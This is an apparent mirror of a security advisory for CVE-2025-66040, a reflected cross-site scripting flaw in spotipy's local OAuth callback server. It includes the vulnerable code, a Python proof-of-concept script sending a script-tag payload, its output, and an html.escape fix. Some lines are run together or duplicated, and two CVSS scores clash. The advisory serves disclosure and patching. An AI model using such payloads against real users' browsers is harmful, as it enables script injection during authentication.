spotipy
Affected
- introduced
0, fixed2.25.2(ecosystem)
Fixed versions
2.25.2
Fix
- Fixed version
2.25.2pip install --upgrade spotipy==2.25.2
Advisory
Also known as: CVE-2025-66040, GHSA-r77h-rpp9-w2xm
Spotipy has a XSS vulnerability in its OAuth callback server
Summary
XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.
Details
Vulnerable Code: spotipy/oauth2.py lines 1238-1274 (RequestHandler.do_GET)
The Problem:
During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the error URL parameter directly into HTML without sanitization.
Vulnerable code at line 1255:
status = f"failed ({self.server.error})"
Then embedded in HTML at line 1265:
self._write(f"""<html>
<body>
<h1>Authentication status: {status}</h1>
</body>
</html>""")
The error parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.
Attack Flow:
http://127.0.0.1:8080http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=xPoC
Simple Python Test:
#!/usr/bin/env python3
# poc_xss.py - Demonstrates XSS in spotipy OAuth callback
import requests
from spotipy.oauth2 import start_local_http_server
import threading
import time
# Start vulnerable server in background
def start_server():
server = start_local_http_server(8080)
server.handle_request()
thread = threading.Thread(target=start_server, daemon=True)
thread.start()
time.sleep(2)
# Send XSS payload
payload = '<script>alert("XSS")</script>'
url = f'http://127.0.0.1:8080/?error={payload}&state=test'
response = requests.get(url)
print(f"Status: {response.status_code}")
print(f"\nHTML Response:\n{response.text}")
# Check if vulnerable
if payload in response.text:
print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!")
else:
print("\n[+] Safe: Payload was sanitized")
Run it:
pip install spotipy requests
python3 poc_xss.py
Output shows:
Status: 200
HTML Response:
<html>
<body>
<h1>Authentication status: failed (<script>alert("XSS")</script>)</h1>
</body>
</html>
[!] VULNERABLE: Payload '<script>alert("XSS")</script>' reflected without escaping!
The Proof:
<script>alert("XSS")</script><script>alert("XSS")</script>Impact
Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79
Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs
Attack Complexity: Medium-High
Potential Impact:
CVSS 3.1 Score: 4.2 (Medium)
Recommended Fix:
import html
# Line 1255 - apply HTML escaping
if self.server.error:
status = f"failed ({html.escape(str(self.server.error))})"Low Basis: CVSS v3 score 3.6, vector CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
0, fixed 2.25.2 (ecosystem)2.25.2
2.25.2pip install --upgrade spotipy==2.25.2Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0